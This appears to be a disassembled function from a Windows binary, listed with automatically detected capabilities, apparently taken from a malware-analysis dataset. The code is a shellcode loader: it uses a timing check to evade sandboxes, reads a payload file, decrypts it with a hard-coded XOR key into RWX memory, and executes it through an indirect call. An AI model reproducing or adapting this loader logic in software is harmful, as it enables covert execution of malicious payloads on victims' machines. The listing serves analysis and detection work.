Function at 0x401250
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Check for time delay via gettickcount
Create process on windows
Execute shellcode via indirect call
Read file on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9c
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], str.248058040134
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0x1c], eax
push 0x2be
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
sub eax, dword [ebp - 0x1c]
cmp eax, 0x2bc
jae 0x4012a4
jmp 0x401357
push 0x40d170
mov ecx, dword [ebp + 0x10]
push ecx
call fcn.00401e2d
add esp, 8
mov dword [ebp - 0xc], eax
push 2
push 0
mov edx, dword [ebp - 0xc]
push edx
call fcn.004019ed
add esp, 0xc
mov eax, dword [ebp - 0xc]
push eax
call fcn.00401dc5
add esp, 4
mov dword [ebp - 0x10], eax
push 0
push 0
mov ecx, dword [ebp - 0xc]
push ecx
call fcn.004019ed
add esp, 0xc
push 0x40
push 0x3000
mov edx, dword [ebp - 0x10]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0xc]
push eax
push 1
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp - 8]
push edx
call fcn.004018b2
add esp, 0x10
mov dword [ebp - 4], 0
jmp 0x401325
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp - 0x10]
jae 0x401354
mov eax, dword [ebp - 4]
cdq
mov ecx, 0xc
idiv ecx
mov eax, dword [ebp - 0x14]
movzx ecx, byte [eax + edx]
mov edx, dword [ebp - 8]
add edx, dword [ebp - 4]
movzx eax, byte [edx]
xor eax, ecx
mov ecx, dword [ebp - 8]
add ecx, dword [ebp - 4]
mov byte [ecx], al
jmp 0x40131c
call dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call 0x400000
test eax, eax
je 0x40136e
xor eax, eax
jmp 0x4014c6
lea edx, [ebp - 0x24]
push edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
test eax, eax
je 0x401413
cmp dword [ebp - 0x24], 0
je 0x401413
push 0x44
push 0
lea eax, [ebp - 0x9c]
push eax
call fcn.00401f10
add esp, 0xc
mov dword [ebp - 0x9c], 0x44
lea ecx, [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_Wow64DisableWow64FsRedirection]
lea edx, [ebp - 0x58]
push edx
lea eax, [ebp - 0x9c]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
push str.C:windows_regedit.exe
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x401409
push 0xffffffffffffffff
mov ecx, dword [ebp - 0x58]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea edx, [ebp - 0x28]
push edx
mov eax, dword [ebp - 0x58]
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov ecx, dword [ebp - 0x28]
push ecx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_Wow64RevertWow64FsRedirection]
call dword [sym.imp.COMCTL32.dll_InitCommonControls]
push 6
push 0x40e030
push 0x67
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.USER32.dll_LoadStringW]
push 9
push 0x40ee80
push 0xa1
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.USER32.dll_LoadStringW]
mov edx, dword [ebp + 8]
mov dword [0x40ef0c], edx
mov eax, dword [ebp + 0x14]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.00401020
test eax, eax
jne 0x401460
xor eax, eax
jmp 0x4014c6
push 0x6d
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.USER32.dll_LoadAcceleratorsW]
mov dword [ebp - 0x20], eax
push 0
push 0
push 0
lea eax, [ebp - 0x48]
push eax
call dword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
je 0x4014be
lea ecx, [ebp - 0x48]
push ecx
mov edx, dword [ebp - 0x20]
push edx
mov eax, dword [0x40ef08]
push eax
call dword [sym.imp.USER32.dll_TranslateAcceleratorW]
test eax, eax
jne 0x4014bc
lea ecx, [ebp - 0x48]
push ecx
call fcn.004011f0
test eax, eax
jne 0x4014bc
lea edx, [ebp - 0x48]
push edx
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0x48]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
jmp 0x40146f
call fcn.00401000
mov eax, dword [ebp - 0x40]
mov esp, ebp
pop ebp
ret 0x10